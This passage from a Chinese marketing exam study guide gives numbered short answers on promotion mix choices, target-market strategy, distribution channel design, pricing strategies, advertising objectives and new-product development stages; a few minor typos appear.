(3)供应企业和后续经销企业。
(4)竞争企业。
26简述在什么条件下适宜采用广告的形式进行促销
答：在下述条件下适宜采用广告的形式进行促销： （1）消费品；（2）企业以拉动策略为主进行促销；（3）市场分布较广，规模较大； （4）产品处于其生命周期的引入期和成长期阶段等。
27简述在什么条件下适宜采用人员推销的形式
答：（1）产业用品；（2）当企业采用推广的策略进行促销时；（3）市场规模相对集中等等。
28企业在选择目标市场策略时应考虑哪些因素
答：（1）企业经营的实力；（2）产品的自然属性。
（3）市场差异性的大小。
（4）产品所处的生命周期的阶段。
（5）竟争对手状况。
29企业面对环境威胁有哪些对策可供选择? 答：面对环境对企业可能造成的威胁，企业常用的方法有三种： (1)对抗策略，也称抗争策略。
即试图通过自己的努力限制或扭转环境中不利因素的发展。
(2)减轻策略，也称削弱策略。
即企业力图通过改变自己的某些策略，达到降低环境变化威胁对企业的负面影响程度。
(3)转移策略，也称转变或回避策略。
即指企业通过改变自己受到威胁的主要产品的现有市场或将投资方向转移来避免环境变化对企业的威胁。
30分别比较在什么情况下，促销组合中的广告和人员推销更有可能起作用。
在以下情况下广告更有可能起作用：(1)消费品。
(2)当企业采用拉的策略进行促销时。
(3)市场分布较广、规模较大。
(4)当产品处于介绍期时和成长期时。
等等。
在以下情况下人员推销更有可能起作用：(1)产业用品。
(2)当企业采用推的策略进行促销时。
(3)市场规模相对集中。
等等 31在消费者购买行为中，经常性购买和选择性购买的区别是什么?对选择性购买行为，企业营销策略的重点何在? 经常性的购买，是一种简单的、需多次发生的购买行为，通常指购买价格低廉的、经常使用的商品。
一般来说，消费者对这类商品都很熟悉，不会花很多时间和精力选购这类商品；而选择性购买行为，要比前者复杂，消费者对于这类产品有过购买经历，有些基本知识，但对新的品牌不熟悉，有风险感。
对这类购买行为，企业应适时地传达有关新牌号产品的信息，增加顾客对新产品的了解和信任感。
32从影响渠道设计的产品因素的角度谈如何为产品选择适宜的分销渠道
从产品因素的角度，主要应考虑以下方面： (1)产品的价值。
指商品的单位价值的大小。
一般情况下产品单位价值的大小与市场营销渠道的宽窄、长短成反比例关系。
(2)产品的时尚性。
凡产品的式样或款式变化比较快的，一般宜采取少环节的短渠道。
(3)产品的易腐易毁性。
一般易腐的鲜活产品应尽量缩短营销渠道。
(4)产品的体积与重量。
体积过大或过重的产品，应采用少环节的短渠道。
(5)产品的技术与服务要求。
凡技术性较强的商品，企业应该尽量直接卖给消费者。
(6)产品的季节性。
季节性越强的商品，越适宜采用稍长一些的渠道结构。
(7)产品的经济生命周期。
如对处在试销阶段的新产品，可采取短渠道。
(8)产品的用途。
如用途广泛、通用的、标准的商品，可用间接销售渠道。
33以你所熟悉的一种产品为例，说明当产品处于其生命周期的畅销阶段时生产者所面临的问题，以及企业在这一阶段应采取的营销组合策略。
答：当产品处于畅销阶段时，该产品通过试销效果良好，产品在市场上站住脚并且打开了销路。
生产者此时面对的主要问题是竞争者增加，竞争加剧。
企业的目标是继续促进市场的成长，努力延长这一阶段。
为此，企业可采取以下策略： (1)扩充目标市场，积极开拓新的细分市场； (2)广告宣传的重点从建立产品知名度转向厂牌、商标的宣传，使人们对该产品产生好的印象，产生好感和偏爱； (3)增加新的分销渠道或加强分销渠道。
34简要说明在什么条件下适宜采用渗透定价策略。
什么是撇脂定价策略
举例说明在什么条件下适宜采用这种定价策略
以下几种条件下可以采用渗透定价策略：（1）商品的市场规模较大，存在着强大的竞争潜力（2）商品的需求价格弹性较大，稍微降低价格，需求量会大大增加（3）劝通过大批童生产能降低生产成本、（12分） 实行撇脂定价策略必须具有以下条件： （1）新产品比市场上现有产品有显著的优点，能使消费者“一见倾心”； （2）在产品初上市阶段，商品的需求价格弹性较小或者早期购买者对价格反应不敏感； （3）短时期内由于仿制等方面的困难，类似仿制产品出现的可能性小，竞争对手少。
35直接式渠道和间接式渠道在哪些地方有所不同
直接式渠道和间接式渠道的主要不同点在于： （1）长度不同。
直接式渠道不经过中间环节，是最短的渠道；间接式渠道中间包含若干中间商，是比较长的渠道。
（2）职能的分工不同。
采用直接式渠道的企业承担了生产和流通双重职能；而采用间接式渠道的企业流通的职能交由中间商承担。
（3）直接式渠道是产业用品的主要渠道，间接式渠道是消费品的主要渠道。
36根据广告目标特点的不同，可以把广告目标分成哪三类
其各自的目的如何
举例说明。
(1)告知性广告。
主要用于推出新产品，其目的是为产品创造最初的基本需求、企业形象等等（2）劝说性广告。
是市场激烈竞争阶段企业的有力武器，其目的是为特定的厂牌确定选择性的需求。
（3）提示性广告。
在产品的成熟期极为重要。
其目的是使消费者记住某牌号产品。
37企业开发新产品的程序包含那几个阶段? (1)提出目标，搜集“构想”。
(2)评核与筛选(过滤)。
(3)营业分析(或称财务分析)。
(4)产品实体开发。
(5)制定生产与营销计划。
(6)新产品正式进入市场。
38什么是市场营销信息系统
它由哪几部分组成
答：市场营销信息系统是由人、机器和程序组成，为营销决策者收集、挑选、分析、评估和分配其所需要的、及时的和准确的信息。
它主要由内部报告系统、市场营销情报系统、市场营销调研系统和市场营销决策支持系统四个子系统组成。
